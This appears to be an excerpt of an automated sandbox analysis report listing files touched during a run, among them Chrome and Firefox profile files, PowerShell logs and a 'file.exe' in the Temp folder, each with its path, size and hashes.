Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000011
Size 275KB
SHA256 00a851eef36f141defa96f58e11b12f522c6330f7813bf0c679a9ddeb106dc9a
MD5 9a2b6e4c0fce06db98a7ecd526072887
SHA1 6ff133c101b180b563bb5b11b5936519506d1668
SHA512 48096a2a810d360e8cd801ecb8bd90fabb6f551190e8da9def752c2cfed9b263682349d203134fb2a47de5fc45d8c4d7e4a7a233c64e0d495c3230b61cb76fea
SSDEEP 6144:oUlGAh5x3XZIvxRkpHJL7+YNWqExfE+FxIl/1utImzXxKBokSF:bh5NXZIvPkpHJP+YNtke/1ut7XTbF
TLSH
T1EA5423736EAD4C493CB8A7EF6A876614C8CF48913670110D6DAE7AFC14A7B397006736
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 744B
SHA256 106f4cce54c95f87d4a9493c9a9059e64943bfaf1c996608a5f0a87074b43748
MD5 0bf88e27550e6faed50277f9b2ba9e88
SHA1 39e31aef0fbc7064397d54cd2e7a2295a2659671
SHA512 15635e4ae45b4cf16dc4b63485bbbaf9df9b05329edde7c63265f13d6f6c7f3ae327640a5477359de2c385438ba7350f1e2cc9504ac4d112bd47794dab25e156
TLSH
T1A301222CE7C56986EFFAC33EA1547A6F3A5841003357AFCB4088F88C98021AA47090A1
MD5 SHA1 SHA512 TLSH

Submit Download

000014.ldb

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\000014.ldb
Size 17KB
SHA256 6ce99cf2d0643713c21147a80c5f8433735c3c5aaae6d0759f045d03500d43fb
MD5 32f32dda73125ff534da4dbe642cdea1
SHA1 02ff5294590b4f31ab579c3a9f5c449779b23a64
SHA512 aa9d3bf055fc79d0ad4cebe4260145b0ab8e6c1aed4445dca96f94f3f47ed43b72045fe21bfc53eb58bf220d76eac762e595fa1d5bef26c7b94770ba3a111ff7
SSDEEP 384:LnvpqavyCUH1ue0wYsASo/gkaDpCuJeqeI/KRseLjq4:bvpgYe0yu/gHYuJehT1Ljq4
TLSH
T14F82AE675EED44CBC577E273F0FD068D2F21AC0A3285E4ED5283321C18566E7296EE1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000015.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\000015.log
Size 164KB
SHA256 5efe425ba8f8fc6221491dc1f2bc65706036ae5b91ce32089ca909c3618a0a9c
MD5 2a9e9782f7ec1c197ed98a4db1fd6ef0
SHA1 072faaa5f79436fbfc08758d1146851a933597f5
SHA512 76bf646f3b74b4249ea547a090e32bf798da57afb0c0d70b53b859b17faefcc0f867172b48ee3c58ce76d15519aad6c5f369d5a1d42fc2b60bd1acc6848bf86f
SSDEEP 3072:DX61J3O3w+MOH6XKJDnbI839jmDVfb3GLpL0YMjkimDVIw:Z
TLSH
T129F3A422A166A3C4F03FA3A716A65C1FD335E1C4D65D30A5B9A17E0D3AF77003E64B29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000017.ldb

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\000017.ldb
Size 12KB
SHA256 560480ed28cccb976780cb3a8c838c8e79a07cbc00336abe176a58001133d8a6
MD5 b155196ae09aafdf5ace4f2221bd5a0c
SHA1 315dc3b9de3853bdfb15c9a387dbc23c0055ed49
SHA512 f276565e78e532e3138b355d8ce686e6b013b194fca1fdfa8be55ef75d2d408b047bc8ffb319bf4e0010cc6cc9421b809cb9c79353f4372a19f0d1121d91aa26
SSDEEP 192:YunVzg5m8W+rW7goxEilde08lSnoGkSHVC2asrYvdFXCa68VF6MyF09kv9YQNkTd:NnF6sfhASo/gka8pCuJeqeI/KRseLO
TLSH
T112429F876AF5C4DBD472F232B4F751882A21B90E3254D4AE5287132C0462BBF747AF87
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\LOG
Size 6KB
SHA256 f243add79a7bb0371e55d1951d8567d8acaa66b0b750b711d256453f6bf777d7
MD5 7f90102ced37ca110eb4039d6718a56c
SHA1 6cb82062190d5fc5da62af4ebce93e72d444a3ae
SHA512 87f9dfc4349c7bab8a10cd496106cd0871563656eb936292bbe79b985c47389c2bb6d8018f26288829c1ac3a7fd2e9a413fc70cb3d1f61de1208f7ca4f120841
SSDEEP 96:i/Jr/JCxObJJHC99d8ybC990MiFyHQ0xKNa8jWPMXtpjqfFX/GcTgWNFohSiPp:14FJi99dy99bHQ0xKNPSPijqQwFoDPp
TLSH
T158D17AC70F888CA801D2C2B1C969F499C95C9B01570C9F947EFCE29F17E452B93BE4A9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\MANIFEST-000001
Size 1KB
SHA256 a85c4642ea956e794797f4db5231ddf3d4d63336e2cac56c27b4fdd75b52f1cc
MD5 9431f0ab333dbc2553a8fda2f446b835
SHA1 0216faf52a086512ad54cf4c15240eb2271561f6
SHA512 6d67b61e39f5d57567f0822801eb06523069f9d7cf88d5e2ffcdc59609121d14f76304fdf63833d96962dce317deabd989e3bbc9d1dc1a07f2b03d7f18a49f5c
TLSH
T1EF215B11EBEA4581F5BB1EB14ABF74425E2ABC4D1D17DA1F2302515E81E3B45DD3023E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 13KB
SHA256 36cec816a3417f448f7c80b1f9876e46ce1f4a390254abab5f4e886105d551d8
MD5 1f2b1cb07507aa23a63f314323d72e28
SHA1 28cdb0a9d4df77ebeb5c7d55c274570ba8938708
SHA512 aadd39749bfac8f9a5feee50ba92197dae3a47d3385edb6a2bd3807b74211068508d91f246f5f615a6da68a733ba4345f448a16c475bd7138a23a990d063c52d
SSDEEP 192:kRgPpmKD2Iv7JpAPRp22triSbOw9wHsb+WNn/siON2mZ7YhkwT+VyIsnAUgtaJ:kRgPEUNUX/1KwkZ2qCz28
TLSH
T12752C52BB924293B6CDAC229F9617B57DBF5102972C01E94E7FCC92C15EB9CC2217427
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 379d96542283773f422c052abe7293924621df1604b63c9a59676e1514d2db6c
MD5 d066f854d368cbebca026e5da297c2c3
SHA1 4f2f84d54b0a8dfd273bbdb70bcde51ad5e2f12f
SHA512 613285c6b38983d33fb336394c5eff7edb692f60dfa433defdbf45524dd1c84cadfc8cba744a39b1c75482b318f7db6eaaae9842cfa8649a9ad00cece8442e41
SSDEEP 384:gCjUH7KxkXqKf/pUZNCgVLH2HfgslsZ7pLuLcSjCDXODUr+ErU3/NHGcmyqOqjmo:gCUH7KxkXqKf/pUZNCgVLH2Hfgs+Z7pF
TLSH
T15A7209676C4C9E370F94C6CCD8267F4F9DB5024B65E9886483FA9C2903D5ACB114A2EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\3e6aa983-c795-4ac8-8691-09c3c472d93d\index-dir\the-real-index
Size 2KB
SHA256 33088be754d63d9072dccfd9542bed9ae15182b30388302a47443f2cbb9c5c23
MD5 782eb45327fe790b48cad8ad6ee0601d
SHA1 21e5a2097304eb69e5516fb9e80a6ce88c242346
SHA512 4c0c2637a51cdc35bc143dd6bedd1d35e65772242b9260af4b86a7643c9db559db2bf04410fd556d158c864b0a8752cab8c63d9308a3fdf5670b276226f8a4cc
TLSH
T10341864CCC80ABADEC7450FE2E9915F257B52D28FC58C29241A4B1B13403AB81B4B9FC
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe599021.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\3e6aa983-c795-4ac8-8691-09c3c472d93d\index-dir\the-real-index~RFe599021.TMP
Size 48B
SHA256 a99ca26c18bfac1372f956368b30f5b33ba9cf3f745243cbde19899edb63fce1
MD5 b254453639b186e8ec2d7b64bde7dc67
SHA1 bfc41462e66adaf82e20386162da7c366ec0377b
SHA512 be89b356cf2de18a0ca094c084af325fc35e09f1a806695bad103904a79c26b50a3c18017bb2cb1469b6aab448e69d147fb73b7806217a46bdcab6b9a8f044bb
MD5 SHA1 SHA512

Submit Download

index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\563a6328-7fcb-4661-899e-ea303f092008\index
Size 24B
SHA256 fbcfe23a2ecb82b7100c50811691dde0a33aa3da8d176be9882a9db485dc0f2d
MD5 54cb446f628b2ea4a5bce5769910512e
SHA1 c27ca848427fe87f5cf4d0e0e3cd57151b0d820d
SHA512 8f6ed2e91aed9bd415789b1dbe591e7eab29f3f1b48fdfa5e864d7bf4ae554acc5d82b4097a770dabc228523253623e4296c5023cf48252e1b94382c43123cb0
MD5 SHA1 SHA512

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 390B
SHA256 5cd3561ccd94e2638bdea09ff609a93b8efe7401f5b817345b4b7c09dbbd4341
MD5 2f9504c7260f7f4333fc7401cbafb0ad
SHA1 d1d09d911d9f88fe38d8a462daf50383dabde0cb
SHA512 db12dfcff077e6eaf8fd0b8c669f8149f372442a22c8f4f33513f2a7ae6567156406ba8fdc262df57ff0546ef87af8cbb84f87088445fa18bd21769c6f77b36d
TLSH
T12AE06882F9B1145589F76EE52835749F826B9E0C8C11CCA80959F5063BB0716F457E2A
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 214B
SHA256 904208341db62b1b3f78918d8591a5d48d2ab75472d4b041b37ac56bd811aa37
MD5 0f4c4f13c83aab0def593d2c6090aaa5
SHA1 062819df9ca497729cd851cddb1734d1090ce077
SHA512 e7d26277056431eff315f5914acb9df7acc28de6dc9fb85e98540854b392551207459926306d700d1b5e7470c2e5901e5231277c78c903ab9f7b60329c48892a
TLSH
T182D022E602705C0A1338FA9A203C127ED21B8C4CE884CCEC8889F453387CA07C001A36
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 130B
SHA256 c979c0ea44a488a5b8cb9212cc191258b28bb04743f5027b7be33905f867d291
MD5 d47846eab3a13ca77e69fa2a403eeb89
SHA1 9358db3d783a2dc6e85627c461c25493acd728f8
SHA512 7dd49b76f822a9ec5c8c83d44fc9b9045c2218c77970f28d59ba7a77573e29a0fb90c6297748767c1b062835b8c0cf79a711d7253276918de0495239072e4d1c
TLSH
T117C09BE71560554A4674BFDD1038671ED11F814C98C1CCEC545964033435A138411635
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 216B
SHA256 80b6553208092ed5973add8bb6fd8b5fa353a4354ecf069fb96320e84f264e52
MD5 6e623bbbfae2b5209a0e777c9ee03fb1
SHA1 03cf226b7aee61482c652b64c44999ac9559cf75
SHA512 dbcff97ec2a1dbdf86ab8ed8034a40fa96e55b943b7504292ce839003da47f858c8a1ad7f0bec6a087c6b1174db6c66821b10a4697521305b083d855d19e9336
TLSH
T10CD0A9A60A7098C61630AB98203CA24E822B8C0C9C80CCE8AD05B02336BC607C410629
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 132B
SHA256 4c20052aa8bc954ae1477531cc9caf26801164eb471fc928d401f7bc1b667176
MD5 c0714f83f1f4633a1e63e5b0426b404d
SHA1 67815ba43828525fe2c13fef2d62987d4f133c79
SHA512 9b64fed4ce7eaa396f33bd90eeaefc46f3dbc8323f3834fac51b173a9052b7df595d76d40ce3aace31b22f1bb7f12ec632070173936d19693bea3231e2e37325
TLSH
T110C09BE7196055C64774BBDD3038761ED11F814CD8D0CCEC5C5964033679A138411635
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt
Size 243B
SHA256 ed2a8683572ac0ba184c4570973e3dbc41a2b5159ae6627f69ab6db88258c92e
MD5 fdd0e44bd3a8493e229bd338bf42658d
SHA1 508ef0fff79c679b518d0de26f1b5594c65bc8f9
SHA512 e615efad518385c09c3cb8155e287b4b22a6830e73a7ba086a3bfe89ab27d77e6f288bbc6371fb736852b0c39731f1f8c2722097750735ac3a18124f0b5c9676
TLSH
T1DAD0A7937DB0059612B46EDD3434B56D821FCD4D8CD1CCDC0955B41637B9B03D8A1B29
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe598469.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\index.txt~RFe598469.TMP
Size 137B
SHA256 d116bacbe0330460cc6e89551072764f150726da82d21c8dcff5e7e6ada16327
MD5 71ca4e19f33bd0cdb6ec865125802176
SHA1 259e37a01146184d5caf774297ed810bcab98fc4
SHA512 df1ba2fec79ee3a81df3afb87a16fd0735064e9c04ffb1b8b979e6e5310731e67b61420010057fd434fddeb14cb3850c26d4a380418889946d132393b2b00993
TLSH
T18AC092E71570698A4BB4BAD92038A24ED22F8D4C9CC4CCEC995AB4033039A13C911B3A
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 168B
SHA256 fb82e3f20dc747de9a4b43fa16169fd20ab643bf4d23538ecfbf3e4527997fb9
MD5 4bf12e00ffa037bfc944659ed012ef4a
SHA1 818cebc4e47ef87fd25af70b9ebb3b4476215dea
SHA512 7ee840261927fb0a839c7df748e59601bb3abea150ba2f443e1ed24cc6d002339d6599019c31b883a41982f429964f4d072b8a39b914fd43209f5dbd8caac985
TLSH
T1AAC09BD49841D151C85602F4575564CD71A9AF95DA0E370152A46957A8772318114561
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59e40d.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe59e40d.TMP
Size 96B
SHA256 3d088b98d36328059b9f46fd20b1a833b3a35e4b83a6b28e4dc6a92d19b8ba62
MD5 f2b03426e0e92a2d89624a24a002c779
SHA1 1f96fb7d30e306cc845b9eabce359ffc7f0b2994
SHA512 82d0afa099faad6798af5b6d015834919ac7c5dc6a0173a9991a42b3e488559cdd49ac64246aad1e723f1c3989c8631377018b3a01fe1ea883fd16e265130932
TLSH
T11AB02228CC02B302C00203F028C0C0CC3230CF30C20322038AE02ABACC20AE00A308B0
MD5 SHA1 SHA512 TLSH

Submit Download

16.png

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp\scoped_dir2468_1245672294\Icons Monochrome\16.png
Size 257B
SHA256 d52376c8b210b8003f5aed9f4555a7916b4640d4c42a36cc81d9864991c87a8b
MD5 6cc922565abd761f4039c816d86018c4
SHA1 05393c91529467f8ddec22a121fe482701365d6f
SHA512 8732f24ea85ab3fa845b3cfa2a354a85cab63a507947fb61bd8119c623e31c87d6f0735ce7f06119db597ec4fce4ad44c15046859b574cb11fb1306e489cf995
TLSH
T1ADD095F2E311DD34C52E96900533C473F433171B1DD56055664491DA4D9E90533C8D59
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 ca6d3e332362420dc3bd23ca5a177e5275c24239f6b42fdde06bd1390613267a
MD5 b15a0d59e475bce70e7f1a369803f40b
SHA1 a6f3607c170a3bfe87748fb172ee3090c00394cd
SHA512 351e500f6463669fa48483b1eba67e7357373ba233a495827127a863a3500ad0b951f213f7c3559e2b36e56488f5be473934dd5ffd16cdca4aa5167384955eec
SSDEEP 3072:sGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMK:fm7Rkm1tYpBeh2BAoK
TLSH
T14DC3123B5D65E9779979AB0EB08E0B1F1EF149A2D920DE92C8D86B0437E97C90A04D34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 232KB
SHA256 f312beebeebfdc5341a3f5574adb88923c14f59ed9893b844165d7fe8c25305c
MD5 ac1d3819d21e2fc414a0ea1b3338a4fc
SHA1 0cd1f3125dde03bf5620c54b755412b63d141e9f
SHA512 6e92f930dffdc40e45813e1adba6f0ed88b4801c0605d2e42002c0b1ab9ba2f64fef89431900e2f9604e2141d692890d1c6ec5e5df1b63a7663e8e6834987de1
SSDEEP 6144:T61tA3foEKFD6B3Jm7Rkm1tYpBeh2BAok:Ta0ip9oBGcAok
TLSH
T182342317EC662E7A69A6E35DF14F1A2B2EF84E454204DA95DDD00F0C375BB9C0A0EC38
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 232KB
SHA256 99d1b9df65d41c8a6d47715e18d3f48dd456dd12b8edc646150267af9ac9a4a1
MD5 886064aeed94400aec1368189c633945
SHA1 14e8879b746217889a8b40d9caf38ab3b2087020
SHA512 3917d1b4250506cf324f555c3a848f952389ae1ec3689fcd181a2f2bedf8d36cff0d4ce88e3e5a668bf0170f967686337eaf27b52f8dfef590764a06cc85c5eb
SSDEEP 6144:Q61tA3foEKFD6B3Jm7Rkm1tYpBeh2BAok:Qa0ip9oBGcAok
TLSH
T19A342317EC662E7A69A6E35DF14F1A2B2EF84E554204DA95DDD00F0C375BB9C0A0EC38
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 3eec2077cf81d9f4bcc30ade5ede7f284887a3ad09bf89a1654f75f46a2b9db7
MD5 35c8b01ca9de939cef47c3c64d3e30d0
SHA1 d3f73cc4d1d60addde7dbf23dbacc2e8c0d96f23
SHA512 143453583c51a0555e892458eb16047b51a1876684a30f62d4d787d94d3942bce891d5b52fd6341932acf61facfcba999bad67617bf3f4383e4e61e7b16430bb
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a9d2e6d35c5e9b94326042c6f2fe7ef381f25a0c02b8a559fc1ee888ccffb18e
MD5 1dffbab5ecc6d06e8b259ad505a0dc2a
SHA1 0938ec61e4af55d7ee9d12708fdc55c72ccb090c
SHA512 93209a16400574416f6f992c2d403acc399179fc911818c4967c9a0211924486878578d1c98ba3bc9e269012603c96ab118a291bf53c57d8af9ab48f9e7b9b76
TLSH
T17F117637B39C89A1CC86163A409DAC1172B683C741AEDEDF6BC0C214E1AF994CB71290
MD5 SHA1 SHA512 TLSH

Submit Download

01D24E1E5C53293C31C22ECC4D2BD06E6398F64C

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\pltyyssw.default-release\cache2\entries\01D24E1E5C53293C31C22ECC4D2BD06E6398F64C
Size 87KB
SHA256 55068faae6beaa4924f6216c48d878747aead53bee10b2669140f822bd88a5ff
MD5 3d4a5eca8b07dd6041415bb5b4ab6e02
SHA1 99c986a9d21fd091dae479074b0322e82be6c1f0
SHA512 9c8fcd9ba5ded1603724919851fd841b156d5b2675e97f721137585f04765d453bf62ff9196b66bf73fae54fca4f9981f9f5c761617356e17bb8a0b8084128e0
SSDEEP 1536:EHQXHVH7y2rGwOeukPjZRLifG9+cRBI6ZiXyGtrasRdX0duNsqpK8B9N7:fXJ7DyTqjZ5mgI6ZiX5RdXIuNq8l7
TLSH
T1CB93023ACFA12016B026CF1604FEA2851C5EF01B979A5728B00D53F5E59BBABDCDB153
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_tjiij04m.fpj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tjiij04m.fpj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

file.exe

Path C:\Users\Admin\AppData\Local\Temp\file.exe
Size 138B
SHA256 753e0dd54f28c4f7009b9c0b18a68aed175416bd8b7d134858264586eaac56f0
MD5 aff950cab4c0265e21d401db15f1026d
SHA1 f03e18461817f7a6546c8bf8fa8d686d7e30aca0
SHA512 a1f0f6f3dd6788a1d7c922c6a8fc81d4709dbd0bf28433023fb8fbd151f645daa096c6e9dd670fb7f86c1699942514a11c183aa09f0018142f823668fb2a0aa2
TLSH
T1A5C092AF79533C8CC8F33A3954C3A298D1ED92726BA8960096408553B2C72568EC3363
MD5 SHA1 SHA512 TLSH

Submit Download

AlternateServices.bin

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\AlternateServices.bin
Size 10KB
SHA256 9be7a595a1babbde106dc9066cf86031de1f4c33d43960ada87f6822411341b6
MD5 5e46c49434ce73f006dabc4618c16801
SHA1 ab1cfb8f53dae91d637f8f970100608ef117f3a5
SHA512 5eb66bd5f33c8724c17f08fe682d899ff0886b583c62fef0934c480b74c667115dc89e6215cb3539b83e7240118f953a758a77f32e00531f6457b04b43ff180d
SSDEEP 96:FwWwqwawr6+xwE+r1w3wRwlowq3xwuwaw4fwoYuw:i6MmFY
TLSH
T1D722C4FB6AF27871E0A25F7020D8784C9DB30259159695684F04E1DB07967BAE03FFA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

AlternateServices.bin

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\AlternateServices.bin
Size 25KB
SHA256 a0d1b6521f925e2b6e63b07a8be13428861068840f65452622de3c71278c2c7c
MD5 df053f37b4f89fc3e918fa9f5221e893
SHA1 98c401d489bb12b9a05156ccd142f4fe57ce2054
SHA512 9c53a14f42e9289ac9291bbebbe03397d437660d066bc94f037070a13df855233e598be62fdbb36d861ec257ae9928ace921a9b92fc706f01b53db54cbf8f701
SSDEEP 96:9NwXwwCwpwwL+xwE+rVwwawRwwHowq3EwwewdwwOfwoY3wwyZwf/wwt+wstuwwUU:CMJFYCm1etm72JpgJkZYbk
TLSH
T1D3B2FDFB6AF178A2F0726F7010D8348C9CB30199489995B88E04E2D747993ADD07FF99
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 81bd562868365aaa7d6692802844e8df056a2a90d44372802b9adfd6012af1b8
MD5 31d534dfe0b2c13ac0fb05f93cfb5949
SHA1 78414c7e8890bfb07489851866e676faeab85f96
SHA512 da3093609cbb2648786b758b75a7070f86227f6cf5fac243606fbb07e2e837758a0a33eeef914388b4ad1215e66df25b508b0debdf28ee62aca2974731dbadb1
SSDEEP 192:j1d66JozGzgCl6mc0dqOv5zboSZVtyjics:Bd66JozGzgC1jfboSZVtyjE
TLSH
T1C3E1EC68EB28863BC404427BCCA21F404F39399AD84E7F2936AD64082D576DE76CE17D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 c839f6ebeb3f09fdfd1a58e7e6cf9b8c3b89fa194b3246ffb582dd859121b1e6
MD5 51b6144f34cc3afe4958c27853a8207d
SHA1 0e3ee958913069024747bf65fe39ba47b85637e5
SHA512 cf2d0ad969209072a1ba6e56b56f0b77b27a7092f2aa36f2ab92839dea37ca524cf06467ac0908eb008b048b93cd35574215956bceec67dc105fe6c2ccb6ef6f
SSDEEP 192:vOv5zboP3Vtyjica1d66JozGzgCl6mc0dz:AboPVtyjMd66JozGzgC1jd
TLSH
T192F10D68EB28863BC404427BCCA21F404F39799AD84E7F1536AD604C2D5B6DE76CE17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 a6155dc7ac314549624bb2dcb8067fe3af1f4822f751278d6e76dd9b582e0cec
MD5 0526ab0c37f33478bf7a9773f6cecdf1
SHA1 ff847071430bf5cd9cb93c0abbd87d753b76de8b
SHA512 c9e892bc4ba174eb711d2a83efc68170c8073d11190bb7e178a505f05352cdeba970bc209e33220a0c085c3e8ab97c9cdc8abb448418f860119f60010d381b3e
SSDEEP 192:j1d66JozGzgCl6mc0d7Ov5zbowbVtyjlcs:Bd66JozGzgC1jebowbVtyjF
TLSH
T19CD1EC68EB288A3BC444433BCCA21F404F79795A984E7F2536AC64082D5B6DE76CD17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\datareporting\glean\events\events
Size 1KB
SHA256 7df4abf05f42dd83236bce5596a539813fb1231f943986746eca5b0220ea1183
MD5 3ed76416b50c4e6db039d8dae0f1884f
SHA1 f3edc285ad26f16c2a4a45d06b030e56dca7af36
SHA512 2077359940e5ab47cb876b718f415cdefa06599dde3f24176e5efc7c8d7230501c99141823738bd1e4ce28f8292d6cb63de28f068270fd61c5ac3ecf589987cd
TLSH
T14911605C39F94D1BA9C7F2DC7491018D93154A86444B1D570D12EF8CCE916DE712B43D
MD5 SHA1 SHA512 TLSH

Submit Download

196d4d05-b203-4820-9a2b-e635eb58771f

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\pltyyssw.default-release\datareporting\glean\pending_pings\196d4d05-b203-4820-9a2b-e635eb58771f
Size 886B
SHA256 0e1694c7851b8517029fc9f81a5953aef6b36cceff9b69489ab2bf581d227a9d
MD5 8beb0a69165977f9ee374b678967f69b
SHA1 76885119caccd9793eff76b1203bc2bbd43bb841
